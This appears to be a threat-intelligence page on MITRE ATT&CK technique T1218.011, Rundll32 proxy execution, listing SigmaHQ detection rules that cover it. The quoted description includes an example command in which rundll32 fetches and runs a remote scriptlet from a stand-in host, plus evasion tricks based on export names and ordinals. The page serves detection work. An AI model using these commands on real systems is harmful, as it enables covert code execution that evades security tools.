Applied Cybernetics Group
T1218.011 — Rundll32
- Technique
T1218.011- Tactics
- Defense Evasion
- MISP citations
- 0
- KEV CVEs mapped
- 0
- Community rules
- 43
- thrunt rules
- 2
- Upstream
- https://attack.mitre.org/techniques/T1218/011
MITRE description
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>). Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)
Detection coverage
thrunt rules
SigmaHQ community rules
- ZxShell Malware (emerging-threats)
- Fireball Archer Install (emerging-threats)
- NotPetya Ransomware Activity (emerging-threats)
- Sofacy Trojan Loader Activity (emerging-threats)
- APT29 2018 Phishing Campaign File Indicators (emerging-threats)
- APT29 2018 Phishing Campaign CommandLine Indicators (emerging-threats)
- Equation Group DLL_U Export Function Load (emerging-threats)
- Potential Emotet Rundll32 Execution (emerging-threats)
- EvilNum APT Golden Chickens Deployment Via OCX Files (emerging-threats)
- Potential Bumblebee Remote Thread Creation (emerging-threats)
- IcedID Malware Suspicious Single Digit DLL Execution Via Rundll32 (emerging-threats)
- Rhadamanthys Stealer Module Launch Via Rundll32.EXE (emerging-threats)
- Kapeka Backdoor Loaded Via Rundll32.EXE (emerging-threats)
- Kapeka Backdoor Execution Via RunDLL32.EXE (emerging-threats)
- Potential Raspberry Robin CPL Execution Activity (emerging-threats)
- DLL Call by Ordinal Via Rundll32.EXE (threat-hunting)
- Remote Thread Creation Via PowerShell In Uncommon Target (core)
- SCR File Write Event (core)
- Unsigned DLL Loaded by Windows Utility (core)
- Rundll32 Internet Connection (core)
- Outbound Network Connection To Public IP Via Winlogon (core)
- Process Access via TrolleyExpress Exclusion (core)
- HTML Help HH.EXE Suspicious Child Process (core)
- Suspicious HH.EXE Execution (core)
- HackTool - F-Secure C3 Load by Rundll32 (core)
Showing 25 of 43 community rules —
the full set is tagged attack.t1218.011 in
SigmaHQ.